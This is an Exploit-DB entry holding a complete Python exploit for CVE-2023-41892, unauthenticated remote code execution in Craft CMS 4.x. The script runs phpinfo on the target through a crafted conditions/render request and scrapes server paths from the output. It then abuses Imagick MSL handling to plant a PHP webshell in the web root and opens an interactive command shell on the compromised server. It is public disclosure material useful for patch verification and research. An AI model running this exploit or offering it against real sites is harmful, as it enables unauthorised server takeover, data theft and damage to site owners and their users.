Exploit-DB #51918
Description: Craft CMS 4.4.14 - Unauthenticated Remote Code Execution
Type: webapps
Platform: php
Date: 2024-03-25
Author: Olivier Lasne

Exploit:
#!/usr/bin/env python3
#coding: utf-8

# Exploit Title: Craft CMS unauthenticated Remote Code Execution (RCE)
# Date: 2023-12-26
# Version: 4.0.0-RC1 - 4.4.14
# Vendor Homepage: https://craftcms.com/
# Software Link: https://github.com/craftcms/cms/releases/tag/4.4.14
# Tested on: Ubuntu 22.04.3 LTS
# Tested on: Craft CMS 4.4.14
# Exploit Author: Olivier Lasne
# CVE : CVE-2023-41892
# References :
# https://github.com/craftcms/cms/security/advisories/GHSA-4w8r-3xrw-v25g
# https://blog.calif.io/p/craftcms-rce

import requests
import sys, re

if(len(sys.argv) < 2):
    print(f"\033[1;96mUsage:\033[0m python {sys.argv[0]} \033[1;96m<url>\033[0m")
    exit()

HOST = sys.argv[1]

if not re.match('^https?://.*', HOST):
    print("\033[1;31m[-]\033[0m URL should start with http or https")
    exit()

print("\033[1;96m[+]\033[0m Executing phpinfo to extract some config infos")

## Execute phpinfo() and extract config info from the website
url = HOST + '/index.php'
content_type = {'Content-Type': 'application/x-www-form-urlencoded'}

data = r'action=conditions/render&test[userCondition]=craft\elements\conditions\users\UserCondition&config={"name":"test[userCondition]","as xyz":{"class":"\\GuzzleHttp\\Psr7\\FnStream","__construct()":[{"close":null}],"_fn_close":"phpinfo"}}'

try:
    r = requests.post(url, headers=content_type, data=data)
except:
    print(f"\033[1;31m[-]\033[0m Could not connect to {HOST}")
    exit()

# If we succeed, we should have default phpinfo credits 
if not 'PHP Group' in r.text:
	print(f'\033[1;31m[-]\033[0m {HOST} is not exploitable.')
	exit()


# Extract config value for tmp_dir and document_root
pattern1 = r'<tr><td class="e">upload_tmp_dir<\/td><td class="v">(.*?)<\/td><td class="v">(.*?)<\/td><\/tr>'
pattern2 = r'<tr><td class="e">\$_SERVER\[\'DOCUMENT_ROOT\'\]<\/td><td class="v">([^<]+)<\/td><\/tr>'

tmp_dir       = re.search(pattern1, r.text, re.DOTALL).group(1)
document_root = re.search(pattern2, r.text, re.DOTALL).group(1)


if 'no value' in tmp_dir:
	tmp_dir = '/tmp'

print(f'temporary directory: {tmp_dir}')
print(f'web server root: {document_root}')

## Create shell.php in tmp_dir

data = {
    "action": "conditions/render",
    "configObject[class]": "craft\elements\conditions\ElementCondition",
    "config": '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"msl:/etc/passwd"}}}'
}

files = {
    "image1": ("pwn1.msl", """<?xml version="1.0" encoding="UTF-8"?>
    <image>
    <read filename="caption:<?php @system(@$_REQUEST['cmd']); ?>"/>
    <write filename="info:DOCUMENTROOT/shell.php"/>
    </image>""".replace("DOCUMENTROOT", document_root), "text/plain")
}

print(f'\033[1;96m[+]\033[0m create shell.php in {tmp_dir}')
r = requests.post(url, data=data, files=files) #, proxies={'http' : 'http://127.0.0.1:8080'}) #  


# Use the Imagick trick to move the webshell in DOCUMENT_ROOT

data = {
    "action": "conditions/render",
    "configObject[class]": r"craft\elements\conditions\ElementCondition",
    "config": '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"vid:msl:' + tmp_dir + r'/php*"}}}'
}

print(f'\033[1;96m[+]\033[0m trick imagick to move shell.php in {document_root}')
r = requests.post(url, data=data) #, proxies={"http": "http://127.0.0.1:8080"})

if r.status_code != 502:
    print("\033[1;31m[-]\033[0m Exploit failed")
    exit()

print(f"\n\033[1;95m[+]\033[0m Webshell is deployed: {HOST}/\033[1mshell.php\033[0m?cmd=whoami")
print(f"\033[1;95m[+]\033[0m Remember to \033[1mdelete shell.php\033[0m in \033[1m{document_root}\033[0m when you're done\n")
print("\033[1;92m[!]\033[0m Enjoy your shell\n")

url = HOST + '/shell.php'

## Pseudo Shell
while True:
    command = input('\033[1;96m>\033[0m ')
    if command == 'exit':
        exit()

    if command == 'clear' or command == 'cls':
        print('\n' * 100)
        print('\033[H\033[3J', end='')
        continue

    data = {'cmd' : command}
    r = requests.post(url, data=data) #, proxies={"http": "http://127.0.0.1:8080"})

    # exit if we have an error
    if r.status_code != 200:
        print(f"Error: status code {r.status_code} for {url}")
        exit()

    res_command = r.text
    res_command = re.sub('^caption:', '', res_command)
    res_command = re.sub(' CAPTION.*$', '', res_command)

    print(res_command, end='')